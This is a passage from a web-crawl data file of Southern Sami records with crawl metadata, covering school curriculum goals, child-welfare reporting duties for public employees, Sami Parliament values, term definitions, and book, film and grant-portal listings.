ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P mænngan – Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1T-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Faagem vierhtiedidh\nMaahtoeulmieh 7. jaepiedaltesen mænngan\nTaalh jïh algebraMål for opplæringen er at eleven skal kunne\n- sijjie-aarvoesystemem buerkiestidh jïh nuhtjedh desimaaletaalide, ryöknedh positijve jïh negatijve ellies taaligujmie, desimaaletaaligujmie, bröökigujmie jïh prosentigujmie, jïh dejtie ovmessie stoeredahkide taalesïevese bïejedh\n- ektieneebnijem gaavnedh jïh addisjovnem, subtraksjovnem jïh multiplikasjovnem bröökijste darjodh\n- evtiedidh, nuhtjedh jïh digkiedidh vuekieh åejjieryöknemasse, aarvehtseryöknemasse jïh tjaaleldh ryöknemasse, jïh digitaale dïrregh aerviedimmine nuhtjedh\n- referansesysteemem jïh notasjovnem buerkiestidh mah åtnasuvvieh formelidie aktene ryökneme-aarhkesne, jïh ryökneme-aarhkem nuhtjedh juktie aerviedimmieh darjodh jïh dejtie åehpiedehtedh\n- bïevnesh gaavnedh tjaaleginie jallh praktihkeles ektiedimmine, bæjjese bïejedh jïh aerviedimmieh buerkiestidh, jïh buerkiestidh guktie dam dorjeme, illedahkem vuarjasjidh jïh vaestiedassem åehpiedehtedh jïh digkiedidh\n- goerehtidh jïh buerkiestidh struktuvrh jïh jarkelimmieh geometrihkeles maalline jïh taalemaalline goerigujmie, baakoejgujmie jïh formeligujmie\n- bæjjese bïejedh jïh aelhkie ligningh loetedh, jïh loevenidh jïh ryöknedh parentesigujmie addisjovnesne, subtraksjovnesne jïh multiplikasjovnesne taalijste\nGeometrijeMål for opplæringen er at eleven skal kunne\n- jïjtsevoeth analyjseradidh guektien- jïh golmendimensjovnaale figuvrine, jïh fysiske daeverh buerkiestidh aarkebiejjien jieleden jïh teknologijen sisnjeli viehkine geometrihkeles dïejvesijstie\n- golmendimensjovnaale maallh bigkedh, perspektijvem guvviedidh aktine dåssjanimmiemearhketjinie, jïh prosesside jïh dorjesidie digkiedidh\n- speejjeldimmiem, jårredimmien jïh parallellesertemem buerkiestidh jïh tjïrrehtidh\n- bïejemem jïh sertemem buerkiestidh daabloenedtesne, kaarhtesne jïh koordinaatesystemesne, digitaale viehkiedïrregigujmie jïh bielelen, jïh koordinaath nuhtjedh juktie gåhkoeh buerkiestidh baalte aksigujmie aktene koordinaatesystemesne\nMöölehtimmieMål for opplæringen er at eleven skal kunne\n- sjiehteles möölehtimmiedïrregh veeljedh jïh praktihkeles möölehtimmieh darjodh aarkebiejjien jieliedisnie jïh teknologijesne, jïh illedahkide vuarjasjidh presisjovni jïh möölehtimmien ovseekerevoeten mietie\n- aarvehtsem darjodh jïh stoeredahkh gåhkose, arealese, veahkese, volumese, skaavhtegasse jïh tïjjese möölehtidh, jïh tïjjem jïh tïjjeintervallem nuhtjedh aelhkie aerviedimmine, illedahkide digkiedidh jïh vuarjasjidh man reaktoe dah leah\n- sjiehteles möölegeektievoeth veeljedh jïh ovmessie möölegeektievoeti gaskem ryöknedh\n- buerkiestidh guktie dah möölegh gåhkose, arealeste jïh volumese leah bæjjese bigkeme, jïh bïjrem, arealem, bijjieskieriem jïh volumem aerviedidh guektien-jïh golmendimensjovnaale figuvrijste\n- möölegeståahkem nuhtjedh juktie gåhkoeh aerviedidh jïh kaarhth jïh barkoeguvvieh darjodh jïh dej bïjre soptsestidh, digitaale dïrregigujmie jïh bielelen\n- gaskemsvoetem nuhtjedh praktihkeles ektiedimmine, drïektine ryöknedh jïh valutaj gaskem ryöknedh\nStatistihke jïh aarvehtseMål for opplæringen er at eleven skal kunne\n- soejkesjidh jïh daatah tjöönghkedh vïhtesjimmine, gihtjemegoerehtimmine jïh eksperimeentine\n- daatah vuesiehtidh tabelline jïh diagrammine mah leah dorjesovveme digitaale dïrregigujmie jïh bielelen, lohkedh jïh toelhkestidh maam buakteme, jïh vuarjasjidh man nuhteligs dah leah\n- medijanem, såarhtetaalem jïh gaskemedtiem gaavnedh aelhkie daatasettine jïh vuarjasjidh dejtie ovmessie jarngeulmide gaskemsh\n- vuarjasjidh jïh soptsestidh hilli bïjre aarkebiejjien ektiedimmine, spïeline jïh eksperimeentine, jïh aarvehtsem aelhkie tsiehkine aerviedidh\nSide 8 Av 14","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/kl06\/MAT1-04\/Hele\/Kompetansemaal\/maahtoeulmieh-7.-jaepiedaltesen-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2023-11-29T11:51:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100081.47\/warc\/CC-MAIN-20231129105306-20231129135306-00247.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":426,"character_repetition_ratio":0.076,"word_repetition_ratio":0.005,"special_characters_ratio":0.136,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaadtasovvemejaepie\n1993\nISBN\nVi67\nTïjje\n00:22:00\nFormaate\nVHS\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nIjje\nPortreehte Mari Boineste.\nMari Boine saemien musihkere gie Kárášjohkesne byjjeni jïh dan aejkien goh alme garres daaroedehtemepolitihke desnie. Filmesne dïhte jïjtse komposisjovnide åehpiedahta jïh jïjtse vuajnoem saemide buakta, aalkoeåålmegidie jïh almetje-diedtiemasse. Filme vuesehte man jielijes, nuvsjehks jïh seabradahke-seatadæjja tjiehpiedæjja Mari lea. Filme VHS-maallesne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/filbma_maris-music?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-12-02T14:49:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100427.59\/warc\/CC-MAIN-20231202140407-20231202170407-00723.warc.gz","language":"sma","language_score":0.9998062253,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998062252998352}","num_words":57,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nStatped, SEAD\nBertije\nVaadtasovvemejaepie\n2023\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nGoerehtallemedïrrege almetjidie stoerre gaskesadtemetsagkesigujmie.\nIPCA lea goerehtallemedïrrege mij uvtemes lea almetjidie stoerre gaskesadtemetsagkesigujmie, mah kråahpeles, åvtegïeleldh buektemevuekieh utnieh goh jïjtjereerije buektemevuekieh. Goerehtallemedïrrege PDF-fijline gååvnese, dovne daaroen, noerhte-, julev- jïh åarjelsaemiengïelesne gååvnese. Maahta dejtie Statpeden gaskeviermiesæjreste veedtjedh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_ipca-goerehtalle-gaskesadtemevuekiej-bijre","date":"2024-02-25T03:25:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474573.20\/warc\/CC-MAIN-20240225003942-20240225033942-00784.warc.gz","language":"sma","language_score":0.9999719858,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999719858169556}","num_words":49,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barkijh skuvline jïh maanagïertine leah stillesovveme tsiehkieh tjalmahtidh mah maehtieh fåantojne årrodh man åvteste maanavaarjelimmiedïenesje tjuara råajvarimmiejgujmie nierhkedh. Tsåatskelesvoetedïedte kreava datne tsiehkieh tjalmehth mah maehtieh dutnjien bïeljelimmiedïedtem vedtedh – mij kreava datne bïeljelh jis datne aalkah maaneste tjoeperdidh.\nFilmesne vuelielisnie vuesiehtimmieh geerve almetjidie vuajnah mah dïedtem vaeltieh, jïh guktie SnakkeSIM bæjjese vaalta guktie jeatjah instaansh involveeredh. Soptsestallemebïhkedæjja Reidun Dybsland lea maanavaarjelimmiepedagoge jïh sjïerekonsulente RVTS Vest:sne. Doh jeatjebh mah leah meatan leah dorjehtæjjah:\nBïeljelimmiedïedte maanavaarjelæmman\nGaajhkh byögkeles barkijh bïeljelimmiedïedtem maanavaarjelæmman utnieh. Daate dïedte lea guektelen juakasovveme: datne edtjh jïjtse skraejrien mietie jïh bielelen haestemem dan bïjre åadtjodh, maanavaarjelimmiedïenesjem bievnedh gosse tjoeperdh (neebnesåvva goh bïeljelimmiedïedte»), jïh dov lea dïedte bïevnesh vedtedh gosse maanavaarjelimmiedïenesje dan bïjre birrie.\nMaanavaarjelimmielaaken mietie § 6-4 gaajhkh barkijh dïedtem utnieh bïevnesh vedtedh maanavaarjelæmman gosse maahta aerviedidh såemies maana daaresjimmiem dååjroe hïejmesne, jallh jis lea jeatjah såarhts itjmies hoksevaanoeh. Bïeljelimmiedïedte sjaevehtsvoetedïedten åvtene båata.\nJoekehts barkoedåehkieh jïjtsh laakh utnieh mah dej barkoem stuvrieh. Maanavaarjelimmielaakan mietie jïh dan laaken mietie mij dov barkoem stuvrie, vuesiehtimmien gaavhtan healsoebarkijelaake, ööhpehtimmielaake jïh maanagïertelaake, barkijh dïedtem utnieh bïeljelidh. Dah mah eah naan sjïerelaakeste stuvresovvh tjuerieh dovne maanavaarjelimmielaakem 6-4 jïh njoelkedassh sjaevehtsvoetedïedten bïjre reeremelaakesne § 13-13e fulkedh.\nHealsoebarkijelaaken § 33 veelebe njoelkedassh vadta gåabph jïh gåessie datne edtjh bïeljelidh. Vuesiehtimmien gaavhtan tjïelkelaakan laakesne jeahtasåvva åvtehken lea dïedte bååstede bievniejasse bïeljelidh mej råajvarimmiej bïjre dah leah nïerhkeme.\nHealsoe- jïh hoksedïenesjelaaken § 3-3a tjïerteste dam sjïere dïedtem fïereguhte aktene tjïeltesne åtna. Sjïerehealsoedïenesjelaake jïh baeniehealsoedïenesjelaake aaj dam sjïere dïedtem tjïertestieh.\n«Maahta sån aerviedidh»\nLaaken åtnoe baakojste «maahta sån aerviedidh», ij sïjhth jiehtedh datne edtjh eevre seekere daejredh jallh jallh «væhnastimmie» lea daerpies. Men byörh læjhkan fåantoeh utnedh man åvteste tjoeperdh – datne tjoerh vielie utnedh goh ajve viesjies sovme.\nJis jueriedisnie bïeljelimmievåaromen bïjre, edtjh raerieh syökedh dov åvtehken jallh barkoevoelpen luvnie mij dååjrehtimmiem åtna. Jis annje leah jueriedisnie, edtjh tjïelten maanavaarjelimmiedïenesjinie gaskesadtedh, Staaten maanagåetine (Statens barnehus), pollisine jallh rååresjimmiedåehkine, jïh anonyjme rååresjimmien bïjre birredh. Rååresjimmesne maahta digkiedidh jïh tjïelkestehtedh man varke tjuara mejnie nierhkedh, gie edtja maanan hoksealmetjh bievnedh, jïh jeatjah tsiehkieh aamhtesisnie.\nBïeljelimmiedïedte maanavaarjelæmman lea individuelle. Jis tjoeperdh, dov lea dïedte bïeljelidh. Ih lutniestimmiem diedteste utnieh jalhts jeatjah instaansh jallh bijjemes åvtehke bïevnesidie daejrieh.\nBïevnesh hoksealmetjidie\nJis datne aervedh åeliealmetjh\/maanan hoksealmetjh leah dah mah leah vædtsoes jallh daaresjimmieh maanan vööste darjoeh, ih edtjh dejtie bievnedh. Datne edtjh ryöktesth maanavaarjelimmiedïenesjinie jallh pollisine gaskesadtedh.\nIemielaakan maanan eejhtegh\/åeliealmetjh sijhtieh bïevnesh åadtjodh, men sjïere tsiehkine ij sïjhth eensi jallh maanan buaratjommesasse årrodh, v. healsoebarkijelaakine § 4, healsoe- jïh hoksedïenesjelaakine § 4-1 jïh baeniehealsoedïenesjelaakine § 1-3a.\nBïevnesh bååstede hööltedh lea vihkele juktie hööptedh maana haadtoem mubpijste dååjroe, jallh jeatjahlaakan vaarege tseahkan bïejesåvva. Daate maahta aaj heerredidh maanavaarjelimmiedïenesjen goerehtimmieh jïh dagke aaj goerehtimmie polliseste heerresuvvieh jis maana aajhtoeh åådtje ij maam soptsestidh, jallh gïejh beajstalgieh jallh båarhte vaaltasuvvieh.\nDej veajkoej gusnie vædtsoesvoete jïh daaresjimmieh leah dorjesovveme almetjijstie lïhkemes fuelhkien ålkolen, jïh maana fuelhkesne årroeminie mij gorrede jïh dåårje, bïeljelimmiedïedte ij daarpesjh faamosne årrodh. Maahta læjhkan eensi årrodh datne maanavaarjelimmiedïenesjasse bïeljelh, juktie viehkiem maanese jïh fualhkan iktedidh jïh ihke maanavaarjelimmiedïenesje edtja bïevnesh almetji bïjre åadtjodh mejtie såvma daaresjimmieh darjoeh. Åejvienjoelkedassine byörh bïevnesem eejhtegigujmie jïh dagke aaj maanine tjïelkestehtedh.\nHööptemedïedte\nBïevnesh vedtedh maanavaarjelimmiedïenesjasse ij sïjhth iktesth maanese nuekie jïh nuekie varke vaarjelimmiem vedtedh. Dellie tjoerh vuarjasjidh mejtie dov lea hööptemedïedte jïh dan gaavhtan dïedtem åtnah pollisese bïeljelidh.\nBysvehtslaaken § 196 mietie hööptemen bïjre gaajhkesh dïedtem utnieh «bysvehtsdahkoem hööptedh jallh illedahkide destie, akten baelien gosse annje lij nuepie jïh maahta seekere årrodh jallh maahta sån aerviedidh dahkoe ij leah sjugniehtovveme jallh sæjhta sjugniehtovvedh».\nDagkerh dahkoeh maehtieh årrodh raantan vaaltasovvedh, inceste jïh itjmies jïh ahkedh daaresjimmieh lïhke relasjovnine. Jieledem jïh healsoem vaarjelidh sjaevehtsvoetedïedten åvtelen båata. Jis baajh årrodh hööptedh maahtah böötine jallh faangkegåetine bysvedh raajan 1 jaepiem.\nHööptemedïedte faamoem åådtje gosse leah eevre seekere jallh maahta jeenjemes aerviedidh bysvehtsdahkoe dorjesåvva jallh lea dorjesovveme. Jïh dahkoe lea dorjesovveme, dov lea hööptemedïedte ajve gosse leah seekere jallh aervedh bysvehtsdahkoe sæjhta ikth vielie dorjesovvedh jallh jis datne bïeljelh, maahtah aktem joe sjugniehtovveme skaaram hööptedh olles itjmiekåbpoe skaarine sjïdth.\nLissine sjïere hööptemedïedte gååvnese mij lea tjoele-irhkelimmien bïjre, v. bysvehtslaakine § 284 jïh § 285.\nDokumentasjovne\n- Dokumentasjovne: skïemtjije- jïh utnijereaktalaake kap. 5-1, reeremelaake § 18-21.\nVihkele dan varke gåarede soptsestallemen\/soptsestallemi mænngan astedh dokumenteeredh gaajhkem mij jeahtasovveme jïh guktie. Buerkesth maam datne jeahteme jïh guktie, jïh maam maana lea soptsestamme. Daate bööremeslaakan dorjesåvva jis soejkesjh soptestallemem tjïrrehtidh akten baelien gosse asth minngiebarkoem darjodh. Vihkele voerkes årrodh eejhtegh jallh åeliealmetjh, åejvienjoelkedassine, luhpiem utnieh daam tjaatsegem vuejnedh.\nJeatjah vierhtieh:\n- Vielie bïevnesh bïeljelimmiedïedten bïjre: «Opplysningsplikt til barneverntjenesten – meldeplikt»\n- Vielie bïevnesh hööptemedïedten bïjre: plikt.no\n- Bufdir: Hvordan melde fra til barnevernet som offentlig ansatt\nDov råålla\n- Guktie Snakkemedbarn.no åtnose vaeltedh?\n- Gie manne gaskesadtemisnie maanajgujmie – jïh gie sïjhtem årrodh?\n- Jïjtse domtesh vuesiehtidh\n- Gosse hïehpehtallebe mestie akt maam maanah jiehtieh","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.snakkemedbarn.no\/tips-til-samtalen\/dov-lea-diedte-du-har-et-ansvar-sorsamisk\/","date":"2024-02-26T23:06:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474669.36\/warc\/CC-MAIN-20240226225941-20240227015941-00480.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":755,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Verdier\nMijjen aarvoeh buerkiestieh guktie edtjebe sinsitnien vööste årrodh jïh sinsitniem gïetedidh dovne sisnjelds jïh byjreskidie. Dah edtjieh våaroeminie årrodh guktie almetji vööste dåemiedibie. Edtja aaj aarvojde guarkedh goh eevre voestegas veanhtadimmieh guktie edtjebe mijjen laavenjassh loetedh. Dah edtjieh abpe organisasjovnem baajnehtidh jïh aelhkie årrodh damtijidh organisasjovne-kultuvresne, våajnoes årrodh jeatjabidie jïh faamosne årrodh gosse hijvenlaakan jïh nåakelaakan jåhta.\nSaemiedigkien barkoe saemien seabradahkh nænnoestidh jïh evtiedidh saemien aarvoeh våaroeminie åtna.\nSaemiedigkien etihkeles njoelkedassh huksieh aarvoeh buaratjommesasse åtnasuvvieh.\nMijjen aarvoeh mijjem viehkiehtieh reaktoelaakan veeljedh – fïerhten biejjien!\nSaemien vuekien mietie – I samisk ånd\nMijjieh saemiengïelem eadtjohkelaakan nuhtjebe jïh eevtjebe jïh veahkahtallebe jïh faegniedibie. Mijjen gïehtelimmie edtja mådtoem jïh nuktehtjevoetem vuesiehtidh. Mijjieh saemien vuekieh fulkebe goh sinsitniem dïervesjidh, vuejnedh jïh gorredidh.\nRæhpasvoete – Åpen\/åpenhet\nMijjieh saemien gellievoetem ræhpasvoetine jïh seahkarimmine dåastobe. Mijjieh sinsitniem leajhtadibie, seahkaribie jïh mijjen gellievoetem jååhkesjibie.\nEktiedahkoe – Samhandling\nMijjieh faageles laavenjostoem jïh hijven barkoebyjresem sjugniedibie mij faageles jååhkesjimmiem jïh bïhkedimmiem vadta dejnie ulmine saemien seabradahkem evtiedidh.\nVïenevoete – Feerhmeles ektievoete – Inkluderende fellesskap\nMijjen lea feerhmeles ektievoete mij relasjovnh jïh viermieh tseegkie. Mijjen ektievoeten våarome leah kontinuiteete, gellievoete, seammavyörtegsvoete jïh boerehkevoete.\nJaahkodsvoete – Pålitelig og lojal\nKvaliteete jïh dïedte leah våarome don barkose mij reeremisnie dorjesåvva. Daate profesjonelle geatskanimmiem kreava barkoelaavenjasside jïh jahkodsvoete don politihkeles almetjeveeljeme ståvrose Saemiedigkesne.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/sametinget.no\/saemiedigkien-bijre\/reereme\/saemiedigkiereeremen-bijjemes-strategije\/aarvoeh\/","date":"2024-03-02T06:06:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475757.50\/warc\/CC-MAIN-20240302052634-20240302082634-00427.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":203,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Narrahtimmie\nNaakenem narrahtidh lea naakenem laavsedh, jïh narrahtimmie vijrieslaakan åtnasåvva ovmessie lahtesi jïh dahkoej bïjre mah mubpide saajroehtieh. Skuvlesne narrahtimmie dïhte bijjemes kategorije heannadimmide mah leah vuestiebielie akten hijven skuvlebyjresasse. Maahta narrahtimmieh vijrieslaakan toelhkestidh, jïh irhkemem, vædtsoehvoetem, sïerredimmiem, trïegkenassem jïh væssjoelahtestimmiem feerhmie, jïh aaj ålkoestimmie, geerjehtimmie jïh laavseme. Læjhkan fïerhte laejhtehks lahtese jallh vigkie ij leah narrahtimmie.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/narrahtimmie","date":"2024-02-29T19:12:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474852.83\/warc\/CC-MAIN-20240229170737-20240229200737-00768.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":57,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.228,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Identiteete\nIdentiteete lea gaskem jeatjah gïeh mijjieh libie, mah aarvoeh mijjieh utnebe jïh gïese jallh mïsse mijjieh govlehtovvebe. Baakoe latijnen baakoste idem båata mij sæjhta jiehtedh \"dïhte seamma\". Identiteete vuesehte dïsse mij lea seamma aktene almetjisnie tïjje doekoe, man åvteste maahta almetjem damtijidh. Dennie aktene bielesne mij akt sjïere, dïhte mij mijjem joekehte goh indivijdh mubpijste. Men lea aaj guktie mijjieh seammaplïeres mubpiejgujmie dennie dåehkesne maam utnebe goh mijjen.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/identiteete","date":"2024-02-29T19:27:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474852.83\/warc\/CC-MAIN-20240229170737-20240229200737-00583.warc.gz","language":"sma","language_score":0.9999779463,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999779462814331}","num_words":69,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Innbundet\n2020\nSørsamisk\nDaate lohkemegærja 8. klaassese. Daennie gærjesne learohkh åadtjoeh ovmessie vuekieh lïeredh guktie lohkedh jïh tjaeledh. Lohkemegærjesne jïjnjh tjaalegh ovmessie sjangerinie mejgujmie learohkh åadtjoeh åahpenidh. Tjoejefijlh jïh vielie laavenjassh leah gaskeviermiesæjrosne solum.no. Barkoegærja jïh bïhkedimmie lohkehtæjjide aaj gååvnesieh.\nKlikk&Hent Kan bestilles til 145 butikker. Leveringstid ca. 1 uke.\nNettlager Sendes innen 1-3 virkedager\n- Bytt i alle våre butikker\n- Klikk og hent","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.ark.no\/produkt\/boker\/skoleboker\/gielem-giehtjedidh-8-9788256024186","date":"2024-03-05T03:44:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948217723.97\/warc\/CC-MAIN-20240305024700-20240305054700-00320.warc.gz","language":"sma","language_score":0.999871254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998712539672852}","num_words":58,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ektiedimmes baakoeh - kort\nGuvviekåarhth guvviej- jïh tekstigujmie juktie maahta ektiedimmes baakoeh darjodh.\nSaemien lohkemejarnge guvviekåarhth saemien aamhtesinie dorjeme. Kåarhtigujmie maahta baakoejgujmie stååkedidh. Gaavnh göökte baakoeh mah baakoem sjædta. Ektiedimmes baakoeh lea akte dejstie gïeledarjomh mah leah gærjesne Gïeledarjomh MAGE:se buerkiestamme.\nMaahtah kåarhtide jïjtje veedtjedh jïh lamineeredh jallh seedth e-påastem jïh dongkh kåarhtide: email@example.com.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/dokumenta_ektiedimmes-baakoeh-kort","date":"2024-03-05T13:51:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707948235171.95\/warc\/CC-MAIN-20240305124045-20240305154045-00556.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":53,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh saemiengïelesne voestesgïeline 1. jïh 2. daltesisnie gosse meatan ovmessie njaalmeldh, tjaaleldh, praktihkeles jïh stååkedimmieligke darjoeminie. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse gïelem mubpiejgujmie ektine nuhtjieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse teeksth goerkesinie luhkieh jïh jïjtsh teeksth gïetine jïh digitaale dïrregigujmie tjaelieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh åadtjoeh meatan årrodh tsevtsedh jïh lïeremelastose skreejrehtidh gusnie learohkh åadtjodh sijjen maahtoem evtiedidh jïh vuesiehtidh jeereldihkie njaalmeldh, praktihkeles jïh tjaaleldh barkoevuekiej tjïrrh, dovne oktegh jïh jeatjah learohkigujmie ektine. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre saemiengïelesne voestesgïeline soptsestalledh, jïh learohkh edtjieh nuepiem åadtjodh pryïvedh. Dan maahtoen mietie maam learohkh saemiengïelesne voestesgïeline vuesiehtieh edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh haalvoeh, jïh maam buerebelaakan haalvoeh goh aarebi. Lohkehtæjja edtja bïhkedidh guktie learohke maahta vielie lïeredh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bihkedimmiem nuhtjedh tjiehpiesvoeteh evtiedidh lohkemisnie, tjaeliemisnie jïh njaalmeldh gïelesne.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/kompetansemaal-og-vurdering\/kv202?lang=sma","date":"2024-02-29T05:48:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474784.33\/warc\/CC-MAIN-20240229035411-20240229065411-00704.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":152,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baahtsemh Saemiedigkien dåarjoeportaaleseSaemiedigkie registreeremem sïelteste\/institusjovneste jååhkesje. Dan mænngan sïelte\/institusjovne jïjtje sov utnijh reerie. Mijjieh måjhtajehtebe sïelte\/institusjovne tjuara hoksedh baahtsemh iktesth leah orrestamme Råållah Saemiedigkien dåarjoeportaalesne Sïejhme utnije. Maahta ohtsemh tseegkedh. Åvtehkh: Maehtieh dïedtem bïejedh sïeltese gosse ohtsemh sïjse seedtie jïh dåarjoeeaktoeh jååhkesjidh. Reerije: Maahta organisasjovnem reeredh, goh baahtsemh vedtedh, tellefovnenommerem jïh e-påasteadressem jarkelidh. Reereme utniejijstie Saemiedigkien dåarjoeportaalesne Dorjesåvva destie mij råållam Reerije åtna: Tjaangh Saemiedigkien dåarjoeportaalen sïjse (https:\/\/doarjja.samediggi.no). Diedtieh dov nommese åelkiesroenesne jïh veeljh Reerh organisasjovnem. Veeljh Reerh utnijekontoeh. Diedtieh Redigeerh utniejasse maam sïjhth redigeeredh. Bïejh dan mænngan utnijem goh aktijve. ArtikkelPublisertDatoFront 01.11.2022 12.19 SistEndret 23.11.2023 15.10","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/stipende-jih-daarjoe\/tilganger-i-sametingets-tilskuddsportal\/","date":"2024-04-13T01:01:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816465.91\/warc\/CC-MAIN-20240412225756-20240413015756-00698.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":93,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2014\nFaage\nISBN\n9788273749093\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n48\nViehkiebaakoe\nGærja soptseste rïevtegen bïjre, Atrata, mij gyhtselh jïh barhvh byöpmede. Dïhte onne, satskehte jïh rovnegs vuelie-baenieh åtna. Jeatjah rïevtegh pruvhkieh muvhtene Atratam irhkedh. Dïhte edtja maskeraade årrodh jïh rïevtege tjaebpemes 